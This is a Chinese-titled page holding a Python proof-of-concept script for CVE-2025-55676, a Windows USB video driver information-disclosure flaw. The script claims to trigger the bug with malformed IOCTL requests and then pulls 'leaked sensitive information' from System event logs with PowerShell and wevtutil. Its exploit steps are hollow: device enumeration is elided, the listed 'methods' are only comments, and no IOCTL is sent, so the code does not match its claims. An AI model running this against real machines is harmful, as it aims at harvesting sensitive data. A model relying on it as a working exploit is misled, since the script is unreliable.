CVE-2025-55676 Windows USB视频驱动敏感信息泄露漏洞

# CVE-2025-55676 - Windows USB Video Driver Information Disclosure PoC # This PoC demonstrates how to trigger the vulnerable code path in usbvideo.sys # Note: Requires local low-privilege access to the target system import subprocess import ctypes import time import os def check_admin(): """Check if running with sufficient privileges""" try: return ctypes.windll.shell32.IsUserAnAdmin() != 0 except: return False def trigger_usbvideo_error(): """ Trigger the error message generation in USB Video Driver by sending malformed IOCTL requests to the device """ # Find USB Video device path device_paths = [] try: # Use SetupAPI to enumerate USB Video devices import win32api import win32con # GUID for USB Video devices GUID_DEVINTERFACE_VIDEO = "{6994AD05-93EF-11D0-A3CC-00A0C9223196}" # Enumerate devices from win32api import RegOpenKeyEx, RegEnumKeyEx # ... device enumeration logic except ImportError: print("[!] pywin32 not available, using alternative method") # Alternative: Use device manager to trigger error print("[*] Attempting to trigger USB Video Driver error path...") # Method 1: Rapidly connect/disconnect USB video device # Method 2: Send malformed IOCTL via DeviceIoControl # Method 3: Trigger via PowerShell ps_cmd = ''' # Trigger USB Video Driver error message containing sensitive info Get-WinEvent -LogName System -MaxEvents 10 | Where-Object {$_.ProviderName -like "*usbvideo*"} | Select-Object TimeCreated, Message ''' try: result = subprocess.run( ["powershell", "-Command", ps_cmd], capture_output=True, text=True, timeout=30 ) print("[+] Event log output:") print(result.stdout) if result.stderr: print("[!] Errors:") print(result.stderr) except Exception as e: print(f"[-] Error: {e}") def read_sensitive_info(): """Read sensitive information from driver error messages""" print("[*] Reading USB Video Driver logs for sensitive information...") # Check event logs for sensitive data leaked by the driver commands = [ 'Get-WinEvent -FilterHashtable @{LogName="System"; ProviderName="usbvideo"}', 'wevtutil qe System /q:"*[System[Provider[@Name=\'usbvideo\']]]" /f:text', ] for cmd in commands: try: result = subprocess.run( ["powershell", "-Command", cmd], capture_output=True, text=True, timeout=15 ) if result.stdout: print(f"[+] Output from: {cmd[:50]}...") print(result.stdout) except Exception as e: print(f"[-] Failed: {e}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-55676 PoC - Windows USB Video Driver Info Disclosure") print("=" * 60) if not check_admin(): print("[!] Some features require elevated privileges") trigger_usbvideo_error() time.sleep(2) read_sensitive_info() print("\n[*] PoC execution completed") print("[*] Check system event logs for leaked sensitive information")